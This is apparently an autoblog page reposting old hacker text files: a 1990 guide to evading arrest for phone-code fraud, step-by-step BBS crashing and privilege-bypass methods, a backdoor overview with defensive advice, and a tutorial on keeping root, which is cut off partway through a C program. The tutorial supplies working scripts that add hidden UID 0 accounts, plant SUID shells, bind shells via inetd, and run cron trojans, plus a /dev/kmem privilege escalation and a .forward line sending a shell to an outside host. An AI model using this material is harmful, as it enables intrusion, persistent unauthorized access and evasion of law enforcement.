luni, 27 septembrie 2010
phile #1 - IIU 1990 Bust Avoidance For Dipshits typed by Derision
Notice how the feds and other appendages of law enforcement pop up every so often and take down people. Ever wonder if your going to be next. if you have wondered then your obviously doing something that increases your chances of becoming a cellmate to a six foot 200lb guy named bubba. lots of idiots get busted but if they took some care and were careful they would probably still be out and not married to big bubba.
Here are 10 things that get the attention of the law if your doing any of them then your a dipshit and are in possible danger of visiting bubba in the state home for stupid hackers.
1. never brag about your exploits on public boards 2. never brag to people who ask you questions about your favorite passtimes 3. never use codes found on boards 4. never use cards found on boards 5. never call boards where you dont know anybody 6. never talk to people when they ask if you know how 7. never use an unsecure line when talking to people for the first time 8. never use a po box registered to you 9. never go to swapmeets or bbs get togethers 10. dont trust anybody
Now for any retards reading this ill explain a few things.
First about bragging, dont do it. it makes you look like an idiot and you never know if the person listening is a fed or some other lowlife like phone security or an informant. second cards and codes found on boards are off limits for the obvious reasons,
1. You dont know if its been planted by the happy feds. 2. You dont know why it was placed there.
A simple rule,
'If its there it maybe a trap so dont touch it.'
Remember, phone companies can entrap you if they want and they often will use a known code to trace asmany people as they can and then bust everybody all at once. This can happen as long as a year later. boards where you dont know anybody are also bad. anybody could be an informant or a fed. Yes they do call boards just like we do. if somebody asks you how to do something, dont tell them. why are they asking you instead of finding out on their own?
If they know what theyre doing they shouldnt have to ask you unless they are trying to find out if your a good target for a set up or unless they are too stupid to find it out on their own. Either way they aren't worth your trouble or the risk. if they get busted do you think they will go quietly to jail or will they try and give them other people so the law will go easy on them.
When somebody you dont know wants to talkvoice to you dont give them your number, call them from a payphone or break into a car and use a carphone. They might be trying a trace or trying to find out who you are. remember even if it isn't a cop it may be someone out to hurt you. if you use a po box for communicating to others dont use one registered to yourself, this is stupid. You can be busted the moment that you take something illegal out of it.
Also for the paranoid, get a kid to get your mail for you. pay him a couple bucks to do it and hide somewhere and watch him go to where you want your mail put. On any board if a few users want to go meet to swap files or do something, dont go. It could be a set up or you might end up being photographed by some agengy looking for a bust.
Finally never ever trust anybody. Do you know them well enough to entrust your freedom to. What happens if they are cops. are they not going to bust you just because you trusted them? Fuck no. Here's a few simple rules to follow if you would like to have a better chance of staying away from the feds.
1. First use more than one handle it makes it a little harder to keep track of you that way. Also dont call boards that let just anybody on them. If the board isn't secure then you arent either.
The feds set up a board a while back and let the users do whatever they wanted. They busted quite a few bozos for shit like codes, pirated software and credit cards. If they did it once they will do it again. The enemy isn't stupid and if something works, they stick with it.
2. Don't teach anybody things they dont know how t odo. Let them pratice on thier own without your help. If they get busted the feds will want to know who they know and you dont want to be one of them.
3. If a stupid shit runs a board requiring a code for access dont call it. If it goes down so will all the users. Remember the phone companies aren't prohibited from entrapment like the cops and they can and will trap you.
There are a few retards out there who like to post codes all over the place to show that they can get them. These people should be shot. They bring more attention to the area than would otherwise exist. Think about it, if a phone company sees more and more stolen codes being used to originate calls from one area, are they going to ignore it?
If you put a code on a board then people who dont know what the fuck they are doing will use it and that can fuck up everybody. remember when mci and sprint were using short codes and then they went to the long bitches. Makes things more difficult to hack out and notice how there are fewer busts recently compared to the old short codes. The assholes who dont know how to find them can't call anymore.
Keep it that way.
If you are one of the people who finds cards and codes in trashcans and dumpsters then dont be stupid and go to the same place more than once.
Don't laugh, some people do it at the same place, same time, all the time. Then they wonder why they got busted! The enemy isn't stupid and they can find the source of the problem pretty quickly.
That's about it for this one. Remember don't be careless and don't underestimate your enemy, they can bust you if you are stupid. Keep your information out of the hands of lamers and you should have no trouble so the wise better not plan to sit down after bubba welcomes you to jail.
(c)1990 I.I.U. Publications all rights nonexistant
Post created with BlogHatter - making money blog
duminică, 26 septembrie 2010
[:=:][:=:][:=:][:=:][:=:][:=:][:=:][:=:][:=:][:=:][:=:][:=:][:=:][:=:][:=:]
[:=:] [:=:] [:=:] New Wave presents... [:=:] [:=:] [:=:] [:=:] [:=:] [:=:] BBS CRASHING TECHNIQUES [:=:] [:=:] ------------------------- [:=:] [:=:] [:=:] [:=:] by Mr. Memorex 1/27/02 [:=:] [:=:] [:=:] [:=:][:=:][:=:][:=:][:=:][:=:][:=:][:=:][:=:][:=:][:=:][:=:][:=:][:=:][:=:]
- File Formatted for 80 columns like it or not -
To start off with, I'd just like to say this file is a collectithe latest BBS crashes. Many people have grudges and reasons to 'crash' a bbs, well this file is served as an aid to them and also to sysops who want to prevent their own bbs' from being attacked. And that's enuff talk for now, let's get on with the good stuff (everything is in cookbook format for speedy reading).
[-=: Apple Net :=-]
1. Post a message (can be bbs,feedback,newuser etc.) 2. Press space bar util you get to the very last line (40th col.) 3. type ctrl-D 4. (after the word wrap to next line) Type any dos command (Preferrably FP) 5. get into editor ('/E') 6. list the program 7. You should be in basic or executing whatever dos command you entered
Requirements:
- Must have wordwrap activated - 40 columns mode should be activated - Their must be a (L)ist command in the editor
[-=: Telecat 2.x & 3.0 :=-]
2.x -----
1. Go to the board section 2. Newscan the last board accessable 3. After the first message, type 'B' at the prompt (To jump to next board)
Results:
- If it was the last board on the bbs, chances arethat will break into Basic - If not, then it will go on to the next board (which is handy and surpassess the security level crap)
3.0 -----
1. Post Message 2. Type a line of text 3. type ctrl-V
Results:
- This should either hang the system or break into basic - It is trying to center the line but it fucks up
[-=: GBBS Pro :=-]
Method 1:
1. Go the the editor 2. Hold down tab key 3. or press space and type ctrl-C
Method 2:
1. Upload to a full volume
Method 3:
1. read the userlist 2. hang up when it gets to the Sysop 3. call back and log on and you'll be a sysop
[-=: Proving Grounds :=-]
Method 1:
1. (On older versions) Enter decimal or negative numbers
Method 2:
1. Call board and enter the user number of a Remote sysop 2. Enter any bs for a pw 3. Do the same thing again (more garbage the 2nd time it asks) 4. Now enter your real number and pass 5. At the first input prompt type 'Remote' 6. This should give you the Remote Sysop menu and access
Notes:
- Using Sysop's user# will give you 10 extra minutes on system - The second method works only on unmoded newer versions of Proving Grounds
Ok, well that about wraps it up. Remember, all these crashes work only on unmoded boards (which are on the most part run by leeches and geeks).
If you have any questions or more tips for Vol.2 then leave me mail on Halifax 20megs (301)445/5897 or Eastern Alliance 10megs (201)327/5725 and where else you see me. Both are fine boards. Have Fun!
[-------------
DOWNLOADED FROM P-80 SYSTEMS.....
Post created with BlogHatter - Blogger Autoblogging Tool
sâmbătă, 25 septembrie 2010
Backdoors
By Puerto
Since the early days of intruders breaking into computers, they have tried to develop techniques or backdoors that allow them to get back into the system. In this paper, it will be focused on many of the common backdoors and possible ways to check for them. Most of focus will be on Unix backdoors with some discussion on future Windows NT backdoors. This will describe the complexity of the issues in trying to determine the methods that intruders use and the basis for administrators understanding on how they might be able to stop the intruders from getting back in. When an administrator understands how difficult it would be to stop intruder once they are in, the appreciation of being proactive to block the intruder from ever getting in becomes better understood. This is intended to cover many of the popular commonly used backdoors by beginner and advanced intruders. This is not intended to cover every possible way to create a backdoor as the possibilities are limitless.
The backdoor for most intruders provide two or three main functions:
Be able to get back into a machine even if the administrator tries to secure it, e.g., changing all the passwords.
Be able to get back into the machine with the least amount of visibility. Most backdoors provide a way to avoid being logged and many times the machine can appear to have no one online even while an intruder is using it.
Be able to get back into the machine with the least amount of time. Most intruders want to easily get back into the machine without having to do all the work of exploiting a hole to gain access.
In some cases, if the intruder may think the administrator may detect any installed backdoor, they will resort to using the vulnerability repeatedly to get on a machine as the only backdoor. Thus not touching anything that may tip off the administrator. Therefore in some cases, the vulnerabilities on a machine remain the only unnoticed backdoor.
Password Cracking Backdoor
One of the first and oldest methods of intruders used to gain not only access to a Unix machine but backdoors was to run a password cracker. This uncovers weak passworded accounts. All these new accounts are now possible backdoors into a machine even if the system administrator locks out the intruder's current account. Many times, the intruder will look for unused accounts with easy passwords and change the password to something difficult. When the administrator looked for all the weak passworded accounts, the accounts with modified passwords will not appear. Thus the administrator will not be able to easily determine which accounts to lock out.
Rhosts + + Backdoor
On networked Unix machines, services like Rsh and Rlogin used a simple authentication method based on hostnames that appear in rhosts. A user could easily configure which machines not to require a password to log into. An intruder that gained access to someone's rhosts file could put a "+ +" in the file and that would allow anyone from anywhere to log into that account without a password. Many intruders use this method especially when NFS is exporting home directories to the world. These accounts become backdoors for intruders to get back into the system. Many intruders prefer using Rsh over Rlogin because it is many times lacking any logging capability. Many administrators check for "+ +" therefore an intruder may actually put in a hostname and username from another compromised account on the network, making it less obvious to spot.
Checksum and Timestamp Backdoors
Early on, many intruders replaced binaries with their own trojan versions. Many system administrators relied on time-stamping and the system checksum programs, e.g., Unix's sum program, to try to determine when a binary file has been modified. Intruders have developed technology that will recreate the same time-stamp for the trojan file as the original file. This is accomplished by setting the system clock time back to the original file's time and then adjusting the trojan file's time to the system clock. Once the binary trojan file has the exact same time as the original, the system clock is reset to the current time. The sum program relies on a CRC checksum and is easily spoofed. Intruders have developed programs that would modify the trojan binary to have the necessary original checksum, thus fooling the administrators. MD5 checksums is the recommended choice to use today by most vendors. MD5 is based on an algorithm that no one has yet to date proven can be spoofed.
Login Backdoor
On Unix, the login program is the software that usually does the password authentication when someone telnets to the machine. Intruders grabbed the source code to login.c and modified it that when login compared the user's password with the stored password, it would first check for a backdoor password. If the user typed in the backdoor password, it would allow you to log in regardless of what the administrator sets the passwords to. Thus this allowed the intruder to log into any account, even root. The password backdoor would spawn access before the user actually logged in and appeared in utmp and wtmp. Therefore an intruder could be logged in and have shell access without it appearing anyone is on that machine as that account. Administrators started noticing these backdoors especially if they did a "strings" command to find what text was in the login program. Many times the backdoor password would show up. The intruders then encrypted or hid the backdoor password better so it would not appear by just doing strings. Many of the administrators can detect these backdoors with MD5 checksums.
Telnetd Backdoor
When a user telnets to the machine, inetd service listens on the port and receive the connection and then passes it to in.telnetd, that then runs login. Some intruders knew the administrator was checking the login program for tampering, so they modified in.telnetd. Within in.telnetd, it does several checks from the user for things like what kind of terminal the user was using. Typically, the terminal setting might be Xterm or VT100. An intruder could backdoor it so that when the terminal was set to "letmein", it would spawn a shell without requiring any authentication. Intruders have backdoored some services so that any connection from a specific source port can spawn a shell.
Services Backdoor
Almost every network service has at one time been backdoored by an intruder. Backdoored versions of finger, rsh, rexec, rlogin, ftp, even inetd, etc., have been floating around forever. There are programs that are nothing more than a shell connected to a TCP port with maybe a backdoor password to gain access. These programs sometimes replace a service like uucp that never gets used or they get added to the inetd.conf file as a new service. Administrators should be very wary of what services are running and analyze the original services by MD5 checksums.
Cronjob backdoor
Cronjob on Unix schedules when certain programs should be run. An intruder could add a backdoor shell program to run between 1 AM and 2 AM. So for 1 hour every night, the intruder could gain access. Intruders have also looked at legitimate programs that typically run in cronjob and built backdoors into those programs as well.
Library backdoors
Almost every UNIX system uses shared libraries. The shared libraries are intended to reuse many of the same routines thus cutting down on the size of programs. Some intruders have backdoored some of the routines like crypt.c and _crypt.c. Programs like login.c would use the crypt() routine and if a backdoor password was used it would spawn a shell. Therefore, even if the administrator was checking the MD5 of the login program, it was still spawning a backdoor routine and many administrators were not checking the libraries as a possible source of backdoors.
One problem for many intruders was that some administrators started MD5 checksums of almost everything. One method intruders used to get around that is to backdoor the open() and file access routines. The backdoor routines were configured to read the original files, but execute the trojan backdoors. Therefore, when the MD5 checksum program was reading these files, the checksums always looked good. But when the system ran the program, it executed the trojan version. Even the trojan library itself, could be hidden from the MD5 checksums. One way to an administrator could get around this backdoor was to statically link the MD5 checksum checker and run on the system. The statically linked program does not use the trojan shared libraries.
Kernel backdoors
The kernel on Unix is the core of how Unix works. The same method used for libraries for bypassing MD5 checksum could be used at the kernel level, except even a statically linked program could not tell the difference. A good backdoored kernel is probably one of the hardest to find by administrators, fortunately kernel backdoor scripts have not yet been widely made available and no one knows how wide spread they really are.
File system backdoors
An intruder may want to store their loot or data on a server somewhere without the administrator finding the files. The intruder's files can typically contain their toolbox of exploit scripts, backdoors, sniffer logs, copied data like email messages, source code, etc. To hide these sometimes large files from an administrator, an intruder may patch the files system commands like "ls", "du", and "fsck" to hide the existence of certain directories or files. At a very low level, one intruder's backdoor created a section on the hard drive to have a proprietary format that was designated as "bad" sectors on the hard drive. Thus an intruder could access those hidden files with only special tools, but to the regular administrator, it is very difficult to determine that the marked "bad" sectors were indeed storage area for the hidden file system.
Bootblock backdoors
In the PC world, many viruses have hid themselves within the bootblock section and most antivirus software will check to see if the bootblock has been altered. On Unix, most administrators do not have any software that checks the bootblock, therefore some intruders have hidden some backdoors in the bootblock area.
Process hiding backdoors
An intruder many times wants to hide the programs they are running. The programs they want to hide are commonly a password cracker or a sniffer. There are quite a few methods and here are some of the more common:
An intruder may write the program to modify its own argv[] to make it look like another process name.
An intruder could rename the sniffer program to a legitimate service like in.syslog and run it. Thus when an administrator does a "ps" or looks at what is running, the standard service names appear.
An intruder could modify the library routines so that "ps" does not show all the processes.
An intruder could patch a backdoor or program into an interrupt driven routine so it does not appear in the process table. An example backdoor using this technique is amod.tar.gz available on http://star.niimm.spb.su/~maillist/bugtraq.1/0777.html
An intruder could modify the kernel to hide certain processes as well.
Rootkit
One of the most popular packages to install backdoors is rootkit. It can easily be located using Web search engines. From the Rootkit README, here are the typical files that get installed:
z2 - removes entries from utmp, wtmp, and lastlog. Es - rokstar's ethernet sniffer for sun4 based kernels. Fix - try to fake checksums, install with same dates/perms/u/g. Sl - become root via a magic password sent to login. Ic - modified ifconfig to remove PROMISC flag from output. ps: - hides the processes. Ns - modified netstat to hide connections to certain machines. Ls - hides certain directories and files from being listed. du5 - hides how much space is being used on your hard drive. ls5 - hides certain files and directories from being listed.
Network traffic backdoors
Not only do intruders want to hide their tracks on the machine, but also they want to hide their network traffic as much as possible. These network traffic backdoors sometimes allow an intruder to gain access through a firewall. There are many network backdoor programs that allow an intruder to set up on a certain port number on a machine that will allow access without ever going through the normal services. Because the traffic is going to a non-standard network port, the administrator can overlook the intruder's traffic. These network traffic backdoors are typically using TCP, UDP, and ICMP, but it could be many other kinds of packets.
TCP Shell Backdoors
The intruder can set up these TCP Shell backdoors on some high port number possibly where the firewall is not blocking that TCP port. Many times, they will be protected with a password just so that an administrator that connects to it, will not immediately see shell access. An administrator can look for these connections with netstat to see what ports are listening and where current connections are going to and from. Many times, these backdoors allow an intruder to get past TCP Wrapper technology. These backdoors could be run on the SMTP port, which many firewalls allow traffic to pass for e-mail.
UDP Shell Backdoors
Administrator many times can spot a TCP connection and notice the odd behavior, while UDP shell backdoors lack any connection so netstat would not show an intruder accessing the Unix machine. Many firewalls have been configured to allow UDP packets for services like DNS through. Many times, intruders will place the UDP Shell backdoor on that port and it will be allowed to by-pass the firewall.
ICMP Shell Backdoors
Ping is one of the most common ways to find out if a machine is alive by sending and receiving ICMP packets. Many firewalls allow outsiders to ping internal machines. An intruder can put data in the Ping ICMP packets and tunnel a shell between the pinging machines. An administrator may notice a flurry of Ping packets, but unless the administrator looks at the data in the packets, an intruder can be unnoticed.
Encrypted Link
An administrator can set up a sniffer trying to see data appears as someone accessing a shell, but an intruder can add encryption to the Network traffic backdoors and it becomes almost impossible to determine what is actually being transmitted between two machines.
Windows NT
Because Windows NT does not easily allow multiple users on a single machine and remote access similar as Unix, it becomes harder for the intruder to break into Windows NT, install a backdoor, and launch an attack from it. Thus you will find more frequently network attacks that are spring boarded from a Unix box than Windows NT. As Windows NT advances in multi-user technologies, this may give a higher frequency of intruders who use Windows NT to their advantage. And if this does happen, many of the concepts from Unix backdoors can be ported to Windows NT and administrators can be ready for the intruder. Today, there are already telnet daemons available for Windows NT. With Network Traffic backdoors, they are very feasible for intruders to install on Windows NT.
Solutions
As backdoor technology advances, it becomes even harder for administrators to determine if an intruder has gotten in or if they have been successfully locked out.
Assessment
One of the first steps in being proactive is to assess how vulnerable your network is, thus being able to figure out what holes exist that should be fixed. Many commercial tools exist to help scan and audit the network and systems for vulnerabilities. Many companies could dramatically improve their security if they only installed the security patches made freely available by their vendors.
MD5 Baselines
One necessary component of a system scanner is MD5 checksum baselines. This MD5 baseline should be built up before a hacker attack with clean systems. Once a hacker is in and has installed backdoors, trying to create a baseline after the fact could incorporate the backdoors into the baseline. Several companies had been hacked and had backdoors installed on their systems for many months. Overtime, all the backups of the systems contained the backdoors. When some of these companies found out they had a hacker, they restored a backup in hopes of removing any backdoors. The effort was futile since they were restoring all the files, even the backdoored ones. The binary baseline comparison needs to be done before an attack happens.
Intrusion detection
Intrusion detection is becoming more important as organizations are hooking up and allowing connections to some of their machines. Most of the older intrusion detection technology was log-based events. The latest intrusion detection system (IDS) technology is based on real-time sniffing and network traffic security analysis. Many of the network traffic backdoors can now easily be detected. The latest IDS technology can take a look at the DNS UDP packets and determine if it matches the DNS protocol requests. If the data on the DNS port does not match the DNS protocol, an alert flag can be signaled and the data captured for further analysis. The same principle can be applied to the data in an ICMP packet to see if it is the normal ping data or if it is carrying encrypted shell session.
Boot from CD-ROM.
Some administrators may want to consider booting from CD-ROM thus eliminating the possibility of an intruder installing a backdoor on the CD-ROM. The problem with this method is the cost and time of implementing this solution enterprise wide.
Vigilant
Because the security field is changing so fast, with new vulnerabilities being announced daily and intruders are constantly designing new attack and backdoor techniques, no security technology is effective without vigilance.
Be aware that no defense is foolproof, and that there is no substitute for diligent attention.
-------------------------------------------------------------------------
you may want to add:
.forward Backdoor
On Unix machines, placing commands into the .forward file was also a common method of regaining access. For the account ``username'' a .forward file might be constructed as follows:
\username |"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e /bin/sh"
permutations of this method include alteration of the systems mail aliases file (most commonly located at /etc/aliases). Note that this is a simple permutation, the more advanced can run a simple script from the forward file that can take arbitrary commands via stdin (after minor preprocessing).
PS: The above method is also useful gaining access a companies mailhub (assuming there is a shared a home directory FS on the client and server).
> Using smrsh can effectively negate this backdoor (although it's quite > possibly still a problem if you allow things like elm's filter or > procmail which can run programs themselves...).
---------------------------------------------------------------------------
you may want to add this "feature" that can act as a backdoor:
when specifying a wrong uid/gid in the /etc/password file, most login(1) implementations will fail to detect the wrong uid/gid and atoi(3) will set uid/gid to 0, giving superuser privileges.
example: rmartin:x:x50:50:R. Martin:/home/rmartin:/bin/tcsh on Linux boxes, this will give uid 0 to user rmartin.
Post created with BlogHatter - Blogger Autoblogging Software
vineri, 24 septembrie 2010
Ok..... You've been at it for all night. Trying all the exploits you can think of. The system seems tight. The system looks tight.
The system *is* tight. You've tried everything. Default passwds, guessable passwds, NIS weaknesses, NFS holes, incorrect permissions, race conditions, SUID exploits, Sendmail bugs, and so on... Nothing. WAIT! What's that!?!? A "#" ???? Finally! After seeming endless toiling, you've managed to steal root. Now what? How do you hold onto this precious super-user privilege you have worked so hard to achieve....?
This article is intended to show you how to hold onto root once you have it. It is intended for hackers and administrators alike. From a hacking perspective, it is obvious what good this paper will do you. Admin's can likewise benefit from this paper. Ever wonder how that pesky hacker always manages to pop up, even when you think you've completely eradicated him from your system? This list is BY NO MEANS comprehensive. There are as many ways to leave backdoors into a UNIX computer as there are ways into one.
Beforehand
Know the location of critical system files. This should be obvious (If you can't list any of the top of your head, stop reading now, get a book on UNIX, read it, then come back to me...). Familiarity with passwd file formats (including general 7 field format, system specific naming conventions, shadowing mechanisms, etc...). Know vi. Many systems will not have those robust, user-friendly editors such as Pico and Emacs. Vi is also quite useful for needing to quickly seach and edit a large file. If you are connecting remotely (via dial-up/telnet/rlogin/whatver) it's always nice to have a robust terminal program that has a nice, FAT scrollback buffer. This will come in handy if you want to cut and paste code, rc files, shell scripts, etc...
The permenance of these backdoors will depend completely on the technical saavy of the administrator. The experienced and skilled administrator will be wise to many (if not all) of these backdoors. But, if you have managed to steal root, it is likely the admin isn't as skilled (or up to date on bug reports) as she should be, and many of these doors may be in place for some time to come. One major thing to be aware of, is the fact that if you can cover you tracks during the initial break-in, no one will be looking for back doors.
The Overt
[1] Add a UID 0 account to the passwd file. This is probably the most obvious and quickly discovered method of rentry. It flies a red flag to the admin, saying "WE'RE UNDER ATTACK!!!". If you must do this, my advice is DO NOT simply prepend or append it. Anyone causally examining the passwd file will see this. So, why not stick it in the middle...
#!/bin/csh # Inserts a UID 0 account into the middle of the passwd file. # There is likely a way to do this in 1/2 a line of AWK or SED. Oh well. # daemon9@netcom.com
set linecount = `wc -l /etc/passwd` cd # Do this at home. cp /etc/passwd ./temppass # Safety first. echo passwd file has $linecount[1] lines. @ linecount[1] /= 2 @ linecount[1] += 1 # we only want 2 temp files echo Creating two files, $linecount[1] lines each \(or approximately that\). split -$linecount[1] ./temppass # passwd string optional echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa cat ./xab >> ./xaa mv ./xaa /etc/passwd chmod 644 /etc/passwd # or whatever it was beforehand rm ./xa* ./temppass echo Done...
NEVER, EVER, change the root password. The reasons are obvious.
[2] In a similar vein, enable a disabled account as UID 0, such as Sync. Or, perhaps, an account somwhere buried deep in the passwd file has been abandoned, and disabled by the sysadmin. Change her UID to 0 (and remove the '*' from the second field).
[3] Leave an SUID root shell in /tmp.
#!/bin/sh # Everyone's favorite...
cp /bin/csh /tmp/.evilnaughtyshell # Don't name it that... chmod 4755 /tmp/.evilnaughtyshell
Many systems run cron jobs to clean /tmp nightly. Most systems clean /tmp upon a reboot. Many systems have /tmp mounted to disallow SUID programs from executing. You can change all of these, but if the filesystem starts filling up, people may notice...but, hey, this *is* the overt section....). I will not detail the changes neccessary because they can be quite system specific. Check out /var/spool/cron/crontabs/root and /etc/fstab.
The Veiled
[4] The super-server configuration file is not the first place a sysadmin will look, so why not put one there? First, some background info: The Internet daemon (/etc/inetd) listens for connection requests on TCP and UDP ports and spawns the appropriate program (usally a server) when a connection request arrives. The format of the /etc/inetd.conf file is simple. Typical lines look like this:
(1) (2) (3) (4) (5) (6) (7) ftp stream tcp nowait root /usr/etc/ftpd ftpd talk dgram udp wait root /usr/etc/ntalkd ntalkd
Field (1) is the daemon name that should appear in /etc/services. This tells inetd what to look for in /etc/services to determine which port it should associate the program name with. (2) tells inetd which type of socket connection the daemon will expect. TCP uses streams, and UDP uses datagrams. Field (3) is the protocol field which is either of the two transport protocols, TCP or UDP. Field (4) specifies whether or not the daemon is iterative or concurrent. A 'wait' flag indicates that the server will process a connection and make all subsequent connections wait. 'Nowait' means the server will accept a connection, spawn a child process to handle the connection, and then go back to sleep, waiting for further connections. Field (5) is the user (or more inportantly, the UID) that the daemon is run as. (6) is the program to run when a connection arrives, and (7) is the actual command (and optional arguments). If the program is trivial (usally requiring no user interaction) inetd may handle it internally. This is done with an 'internal' flag in fields (6) and (7). So, to install a handy backdoor, choose a service that is not used often, and replace the daemon that would normally handle it with something else. A program that creates an SUID root shell, a program that adds a root account for you in the /etc/passwd file, etc... For the insinuation-impaired, try this:
Open the /etc/inetd.conf in an available editor. Find the line that reads:
daytime stream tcp nowait root internal
and change it to:
daytime stream tcp nowait /bin/sh sh -i.
You now need to restart /etc/inetd so it will reread the config file. It is up to you how you want to do this. You can kill and restart the process, (kill -9 , /usr/sbin/inetd or /usr/etc/inetd) which will interuppt ALL network connections (so it is a good idea to do this off peak hours).
[5] An option to compromising a well known service would be to install a new one, that runs a program of your choice. One simple solution is to set up a shell the runs similar to the above backdoor. You need to make sure the entry appears in /etc/services as well as in /etc/inetd.conf. The format of the /etc/services file is simple:
(1) (2)/(3) (4) smtp 25/tcp mail
Field (1) is the service, field (2) is the port number, (3) is the protocol type the service expects, and (4) is the common name associated with the service. For instance, add this line to /etc/services:
evil 22/tcp evil
and this line to /etc/inetd.conf:
evil stream tcp nowait /bin/sh sh -i
Restart inetd as before.
Note: Potentially, these are a VERY powerful backdoors. They not only offer local rentry from any account on the system, they offer rentry from *any* account on *any* computer on the Internet.
[6] Cron-based trojan I. Cron is a wonderful system administration tool. It is also a wonderful tool for backdoors, since root's crontab will, well, run as root... Again, depending on the level of experience of the sysadmin (and the implementation), this backdoor may or may not last. /var/spool/cron/crontabs/root is where root's list for crontabs is usally located. Here, you have several options. I will list a only few, as cron-based backdoors are only limited by your imagination. Cron is the clock daemon. It is a tool for automatically executing commands at specified dates and times. Crontab is the command used to add, remove, or view your crontab entries. It is just as easy to manually edit the /var/spool/crontab/root file as it is to use crontab. A crontab entry has six fields:
(1) (2) (3) (4) (5) (6) 0 0 * * 1 /usr/bin/updatedb
Fields (1)-(5) are as follows: minute (0-59), hour (0-23), day of the month (1-31) month of the year (1-12), day of the week (0-6). Field (6) is the command (or shell script) to execute. The above shell script is executed on Mondays. To exploit cron, simply add an entry into /var/spool/crontab/root. For example: You can have a cronjob that will run daily and look in the /etc/passwd file for the UID 0 account we previously added, and add him if he is missing, or do nothing otherwise (it may not be a bad idea to actually *insert* this shell code into an already installed crontab entry shell script, to further obfuscate your shady intentions). Add this line to /var/spool/crontab/root:
0 0 * * * /usr/bin/trojancode
This is the shell script:
#!/bin/csh # Is our eviluser still on the system? Let's make sure he is. #daemon9@netcom.com
set evilflag = (`grep eviluser /etc/passwd`)
if($#evilflag == 0) then # Is he there?
set linecount = `wc -l /etc/passwd` cd # Do this at home. cp /etc/passwd ./temppass # Safety first. @ linecount[1] /= 2 @ linecount[1] += 1 # we only want 2 temp files split -$linecount[1] ./temppass # passwd string optional echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa cat ./xab >> ./xaa mv ./xaa /etc/passwd chmod 644 /etc/passwd # or whatever it was beforehand rm ./xa* ./temppass echo Done... else endif
[7] Cron-based trojan II. This one was brought to my attention by our very own Mr. Zippy. For this, you need a copy of the /etc/passwd file hidden somewhere. In this hidden passwd file (call it /var/spool/mail/.sneaky) we have but one entry, a root account with a passwd of your choosing. We run a cronjob that will, every morning at 2:30am (or every other morning), save a copy of the real /etc/passwd file, and install this trojan one as the real /etc/passwd file for one minute (synchronize swatches!). Any normal user or process trying to login or access the /etc/passwd file would get an error, but one minute later, everything would be ok. Add this line to root's crontab file:
29 2 * * * /bin/usr/sneakysneaky_passwd
make sure this exists:
#echo "root:1234567890123:0:0:Operator:/:/bin/csh" > /var/spool/mail/.sneaky
and this is the simple shell script:
#!/bin/csh # Install trojan /etc/passwd file for one minute #daemon9@netcom.com
cp /etc/passwd /etc/.temppass cp /var/spool/mail/.sneaky /etc/passwd sleep 60 mv /etc/.temppass /etc/passwd
[8] Compiled code trojan. Simple idea. Instead of a shell script, have some nice C code to obfuscate the effects. Here it is. Make sure it runs as root. Name it something innocous. Hide it well.
/* A little trojan to create an SUID root shell, if the proper argument is given. C code, rather than shell to hide obvious it's effects. */ /* daemon9@netcom.com */
#include
#define KEYWORD "industry3" #define BUFFERSIZE 10
int main(argc, argv) int argc; char *argv[];{
int i=0;
if(argv[1]){ /* we've got an argument, is it the keyword? */
if(!(strcmp(KEYWORD,argv[1]))){
/* This is the trojan part. */ system("cp /bin/csh /bin/.swp121"); system("chown root /bin/.swp121"); system("chmod 4755 /bin/.swp121"); } } /* Put your possibly system specific trojan messages here */ /* Let's look like we're doing something... */ printf("Sychronizing bitmap image records."); /* system("ls -alR / >& /dev/null > /dev/null&"); */ for(;i<10;i++){ fprintf(stderr,"."); sleep(1); } printf("\nDone.\n"); return(0); } /* End main */
[9] The sendmail aliases file. The sendmail aliases file allows for mail sent to a particular username to either expand to several users, or perhaps pipe the output to a program. Most well known of these is the uudecode alias trojan. Simply add the line:
"decode: "|/usr/bin/uudecode"
to the /etc/aliases file. Usally, you would then create a uuencoded .rhosts file with the full pathname embedded.
#! /bin/csh
# Create our .rhosts file. Note this will output to stdout.
echo "+ +" > tmpfile /usr/bin/uuencode tmpfile /root/.rhosts
Next telnet to the desired site, port 25. Simply fakemail to decode and use as the subject body, the uuencoded version of the .rhosts file. For a one liner (not faked, however) do this:
%echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail decode@target.com
You can be as creative as you wish in this case. You can setup an alias that, when mailed to, will run a program of your choosing. Many of the previous scripts and methods can be employed here.
The Covert
[10] Trojan code in common programs. This is a rather sneaky method that is really only detectable by programs such tripwire. The idea is simple: insert trojan code in the source of a commonly used program. Some of most useful programs to us in this case are su, login and passwd because they already run SUID root, and need no permission modification. Below are some general examples of what you would want to do, after obtaining the correct sourcecode for the particular flavor of UNIX you are backdooring. (Note: This may not always be possible, as some UNIX vendors are not so generous with thier sourcecode.) Since the code is very lengthy and different for many flavors, I will just include basic psuedo-code:
get input; if input is special hardcoded flag, spawn evil trojan; else if input is valid, continue; else quit with error; ...
Not complex or difficult. Trojans of this nature can be done in less than 10 lines of additional code.
The Esoteric
[11] /dev/kmem exploit. It represents the virtual of the system. Since the kernel keeps it's parameters in memory, it is possible to modify the memory of the machine to change the UID of your processes. To do so requires that /dev/kmem have read/write permission. The following steps are executed: Open the /dev/kmem device, seek to your page in memory, overwrite the UID of your current process, then spawn a csh, which will inherit this UID. The following program does just that.
/* If /kmem is is readable and writable, this program will change the user's UID and GID to 0. */ /* This code originally appeared in "UNIX security: A practical tutorial" with some modifications by daemon9@netcom.com */
#include #include #include #include #include #include #include
#define KEYWORD "nomenclature1"
struct user userpage; long address(), userlocation;
int main(argc, argv, envp) int argc; char *argv[], *envp[];{
int count, fd; long where, lseek();
if(argv[1]){ /* we've got an argument, is it the keyword? */ if(!(strcmp(KEYWORD,argv[1]))){ fd=(open("/dev/kmem",O_RDWR);
if(fd<0){ printf("Cannot read or write to /dev/kmem\n"); perror(argv); exit(10); }
userlocation=address(); where=(lseek(fd,userlocation,0);
if(where!=userlocation){ printf("Cannot seek to user page\n"); perror(argv); exit(20); }
count=read(fd,&userpage,sizeof(struct user));
if(count!=sizeof(struct user)){ printf("Cannot read user page\n"); perror(argv); exit(30); }
printf("Current UID: %d\n",userpage.u_ruid); printf("Current GID: %d\n",userpage.g_ruid);
userpage.u_ruid=0; userpage.u_rgid=0;
where=lseek(fd,userlocation,0);
if(where!=userlocation){ printf("Cannot seek to user page\n"); perror(argv); exit(40); }
